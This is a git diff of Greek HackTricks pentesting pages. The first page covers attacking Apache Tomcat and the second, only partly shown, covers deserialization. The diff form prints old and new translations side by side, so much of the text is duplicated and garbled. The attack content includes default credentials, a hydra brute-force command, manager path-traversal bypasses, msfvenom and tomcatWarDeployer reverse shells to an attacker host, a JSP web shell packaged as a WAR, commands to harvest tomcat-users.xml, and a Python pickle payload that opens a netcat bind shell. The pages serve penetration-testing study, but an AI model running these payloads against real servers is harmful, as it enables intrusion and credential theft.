Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμος καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση με βία για την εντοπισμό αυτών των σελίδων.
Η αναγνώριση των ακριβών τοποθεσιών των **`/manager`** και **`/host-manager`** καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.
### **Απαρίθμηση Ονομάτων Χρηστών**
Για τις εκδόσεις Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:
### **Αναγνώριση Ονομάτων Χρηστών**
Για εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Προεπιλεγμένα Διαπιστευτήρια**
Ο κατάλογος **`/manager/html`** είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει τη μεταφόρτωση και αναπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο κατάλογος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
Ο **`/manager/html`** φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική HTTP αυθεντικοποίηση, με κοινά διαπιστευτήρια να είναι:
* admin:admin
* tomcat:tomcat
@ -61,37 +62,73 @@ msf> use auxiliary/scanner/http/tomcat_enum
* admin:tomcat
Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Ένας άλλος αξιοσημείωτος κατάλογος είναι **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.
Ένας άλλος σημαντικός κατάλογος είναι **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στον εντοπισμό ευπαθειών.
### **Επίθεση Βίας**
Για να δοκιμάσετε μια επίθεση βίας στον κατάλογο του διαχειριστή, μπορείτε να χρησιμοποιήσετε:
### **Brute Force Attack**
Για να προσπαθήσετε μια επίθεση brute force στον κατάλογο διαχείρισης, μπορείτε να χρησιμοποιήσετε:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Κοινές Ευπάθειες
## Common Vulnerabilities
### **Αποκάλυψη Κωδικού Πρόσβασης με Ανίχνευση Ανάκλησης**
### **Password Backtrace Disclosure**
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση ανάκλησης υπό ευνοϊκές συνθήκες.
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.
### **Διπλή Κωδικοποίηση URL**
### **Double URL Encoding**
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση URL για τη διέλευση διαδρομής, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει την διπλή κωδικοποίηση URL path traversal, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
### /παραδείγματα
### /examples
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδειγματικά scripts που είναι ευάλωτα σε αποκάλυψη πληροφορι
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε [περισσότερες πληροφορίες εδώ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Path Traversal Exploit**
Σε ορισμένες [**ευάλωτες ρυθμίσεις του Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας το path: `/..;/`
Έτσι, για παράδειγμα, μπορεί να μπορείτε να **πρόσβαση στη σελίδα διαχείρισης του Tomcat** πηγαίνοντας: `www.vulnerable.com/lalala/..;/manager/html`
**Ένας άλλος τρόπος** για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Τέλος, αν έχετε πρόσβαση στον Tomcat Web Application Manager, μπορείτε να **ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα)**.
### Limitations
Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε **αρκετά δικαιώματα** (ρόλοι: **admin**, **manager** και **manager-script**). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο _tomcat-users.xml_ που συνήθως ορίζεται στο `/usr/share/tomcat9/etc/tomcat-users.xml` (διαφέρει μεταξύ εκδόσεων) (βλ. [POST ](./#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -101,9 +138,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -112,49 +147,37 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
### MSFVenom Αντίστροφο Shell
1. Δημιουργία του πολέμου για αναπτυξη:
1. Δημιουργήστε το war για ανάπτυξη:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Ανεβάστε το `revshell.war` αρχείο και αποκτήστε πρόσβαση σε αυτό (`/revshell/`):
### Ανέβασε το αρχείο `revshell.war` και έχε πρόσβαση σε αυτό (`/revshell/`):
### Bind και reverse shell με [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Δέσε και ανάστροφο κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun)
#### Λήψη
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)
#### Κατεβάστε
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Αντίστροφη κέλυφωση
#### Αντίστροφη θήκη
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Δέστε το κέλυφος
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Χρησιμοποιώντας το [Culsterd](https://github.com/hatRiot/clusterd)
### Χρήση του [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manual method - Web shell
### Χειροκίνητη μέθοδος - Web shell
Δημιουργήστε το **index.jsp** με το ακόλουθο [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -185,33 +208,28 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Μεθοδος Χειροκίνητη 2
Λάβετε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα αρχείο WAR:
### Χειροκίνητη Μέθοδος 2
Αποκτήστε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα WAR αρχείο:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Το όνομα του αρχείου διαπιστευτήριων του Tomcat είναι _tomcat-users.xml_
Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Άλλοι τρόποι για τη συλλογή διαπιστευτήριων Tomcat:
Άλλοι τρόποι για να συλλέξετε διαπιστευτήρια Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Άλλα εργαλεία σάρωσης tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -223,18 +241,21 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Απεικόνιση
# Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Η **Απεικόνιση (Serialization)** εννοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε ένα μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος ενός διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συχνά για να διασφαλιστεί ότι το αντικείμενο μπορεί να ανακτηθεί σε μεταγενέστερο χρόνο, διατηρώντας τη δομή και την κατάστασή του.
**Η σειριοποίηση** κατανοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του.
Η **Απο-Απεικόνιση (Deserialization)**, αντίστροφα, είναι η διαδικασία που αντιδρά στην απεικόνιση. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.
**Η αποσειριοποίηση**, αντιθέτως, είναι η διαδικασία που αντενδρά στη σειριοποίηση. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.
Η απο-απεικόνιση μπορεί να είναι επικίνδυνη επειδή πιθανόν **επιτρέπει στους επιτιθέμενους να διαχειριστοών τα απεικονισμένα δεδομένα για την εκτέλεση κακόβουλου κώδικα** ή για την πρόκληση μη αναμενόμενης συμπεριφοράς στην εφαρμογή κατά τη διαδικασία ανακατασκευής του αντικειμένου.
Η αποσειριοποίηση μπορεί να είναι επικίνδυνη επειδή **επιτρέπει στους επιτιθέμενους να χειρίζονται τα σειριοποιημένα δεδομένα για να εκτελούν επιβλαβή κώδικα** ή να προκαλούν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
## PHP
Στην PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τις διαδικασίες απεικόνισης και απο-απεικόνισης:
Στην PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τη διάρκεια των διαδικασιών σειριοποίησης και αποσειριοποίησης:
* `__sleep`: Καλείται όταν ένα αντικείμενο απεικονίζεται. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να απεικονιστούν. Χρησιμοποιείται συχνά για την αποθήκευση εκκρεμών δεδομένων ή για παρόμοιες εργασίες καθαρισμού.
* `__wakeup`: Καλείται όταν ένα αντικείμενο απο-απεικονίζεται. Χρησιμοποιείται για την επαναφορά οποιασδήποτε σύνδεσης βάσης δεδομένων που ενδέχεται να έχει χαθεί κατά την απεικόνιση και για την εκτέλεση άλλων εργασιών επαναεκκίνησης.
* `__unserialize`: Αυτή η μέθοδος καλείται αντί της `__wakeup` (αν υπάρχει) όταν ένα αντικείμενο απο-απεικονίζεται. Παρέχει μεγαλύτερο έλεγχο στη διαδικασία απο-απεικόνισης σε σύγκριση με τη `__wakeup`.
* `__destruct`: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο είναι έτοιμο να καταστραφεί ή όταν τελειώνει το σενάριο. Χρησιμοποιείται τυπικά για εργασίες καθαρισμού, όπως το κλείσιμο χειριστηρίων αρχείων ή συνδέσεων βάσης δεδομένων.
* `__toString`: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να χειριστεί ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών με βάση τις κλήσεις συναρτήσεων μέσα σε αυτή, παρέχοντας αποτελεσματικά μια κειμενική αναπαράσταση του αντικειμένου.
* `__sleep`: Καλείται όταν ένα αντικείμενο σειριοποιείται. Αυτή η μέθοδος θα πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που θα πρέπει να σειριοποιηθούν. Χρησιμοποιείται συνήθως για να δεσμεύσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού.
* `__wakeup`: Καλείται όταν ένα αντικείμενο αποσειριοποιείται. Χρησιμοποιείται για να αποκαταστήσει οποιεσδήποτε συνδέσεις βάσης δεδομένων μπορεί να έχουν χαθεί κατά τη διάρκεια της σειριοποίησης και να εκτελέσει άλλες εργασίες επαναρχικοποίησης.
* `__unserialize`: Αυτή η μέθοδος καλείται αντί για `__wakeup` (αν υπάρχει) όταν ένα αντικείμενο αποσειριοποιείται. Παρέχει περισσότερη έλεγχο στη διαδικασία αποσειριοποίησης σε σύγκριση με το `__wakeup`.
* `__destruct`: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν το σενάριο τελειώνει. Χρησιμοποιείται συνήθως για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων.
* `__toString`: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών με βάση τις κλήσεις συναρτήσεων μέσα σε αυτό, παρέχοντας αποτελεσματικά μια κειμενική αναπαράσταση του αντικειμένου.
```php
<?php
class test {
@ -86,10 +87,10 @@ This is a test<br />
*/
?>
```
Εάν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι λειτουργίες **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποσειριοποιείται. Σημειώστε ότι σε αρκετά εγχειρίδια θα βρείτε ότι η λειτουργία **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά φαίνεται ότι αυτό **δεν συμβαίνει πλέον**.
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομείται. Σημειώστε ότι σε αρκετά tutorials θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**.
{% hint style="warning" %}
Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για την `__wakeup()`** αν υλοποιείται στην κλάση. Σας επιτρέπει να αποσειριοποιήσετε το αντικείμενο παρέχοντας τα σειριοποιημένα δεδομένα ως έναν πίνακα. Μπορείτε να χρησιμοποιήσετε αυτήν τη μέθοδο για να αποσειριοποιήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποσειριοποίηση.
Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για `__wakeup()`** αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
```php
class MyClass {
private $property;
@ -102,19 +103,19 @@ $this->property = $data['property'];
```
{% endhint %}
Μπορείτε να διαβάσετε ένα εξηγημένο παράδειγμα **PHP εδώ**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), εδώ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ή εδώ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
Μπορείτε να διαβάσετε ένα εξηγημένο **παράδειγμα PHP εδώ**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), εδώ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ή εδώ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Φόρτωση Κλάσεων Autoload
### PHP Deserial + Autoload Classes
Μπορείτε να εκμεταλλευτείτε τη λειτουργικότητα φόρτωσης του PHP autoload για να φορτώσετε τυχαία αρχεία php και περισσότερα:
Μπορείτε να εκμεταλλευτείτε τη λειτουργία autoload του PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα:
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %}
### Σειριοποίηση Αναφερόμενων Τιμών
### Serializing Referenced Values
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε μια άλλη τιμή που έχει σειριοποιηθεί** μπορείτε:
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη τιμή που έχει σειριοποιηθεί** μπορείτε:
```php
<?php
class AClass {
@ -127,16 +128,16 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### PHPGGC (ysoserial για PHP)
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να καταχραστείτε τις αποσειριοποιήσεις PHP.\
Σημειώστε ότι σε πολλές περιπτώσεις **δε θα μπορείτε να βρείτε έναν τρόπο να εκμεταλλευτείτε μια αποσειριοποίηση στον πηγαίο κώδικα** της εφαρμογής αλλά μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών επεκτάσεων PHP.**\
Έτσι, αν μπορείτε, ελέγξτε το `phpinfo()` του διακομιστή και **ψάξτε στο διαδίκτυο** (ακόμη και στα **gadgets** του **PHPGGC**) κάποιο πιθανό gadget που θα μπορούσατε να εκμεταλλευτείτε.
[**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations.\
Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε έναν τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών PHP επεκτάσεων.**\
Έτσι, αν μπορείτε, ελέγξτε το `phpinfo()` του διακομιστή και **αναζητήστε στο διαδίκτυο** (ακόμα και στα **gadgets** του **PHPGGC**) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε.
### αποσειριοποίηση μεταδεδομένων phar://
### phar:// metadata deserialization
Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον κώδικα PHP μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file\_get\_contents(), fopen(), file() ή file\_exists(), md5\_file(), filemtime() ή filesize()**_**.** Μπορείτε να δοκιμάσετε να εκμεταλλευτείτε μια **αποσειριοποίηση** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το πρωτόκολλο **phar**.\
Για περισσότερες πληροφορίες διαβάστε την ακόλουθη ανάρτηση:
Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file\_get\_contents(), fopen(), file() ή file\_exists(), md5\_file(), filemtime() ή filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\
Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση:
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
@ -147,7 +148,7 @@ $ser=serialize($o);
### **Pickle**
Όταν το αντικείμενο αποσυμπιέζεται, η συνάρτηση _\_\_reduce\_\__ θα εκτελεστεί.\
Όταν εκμεταλλευτείται, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα.
Όταν εκμεταλλευτεί, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα.
```python
import pickle, os, base64
class P(object):
@ -155,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
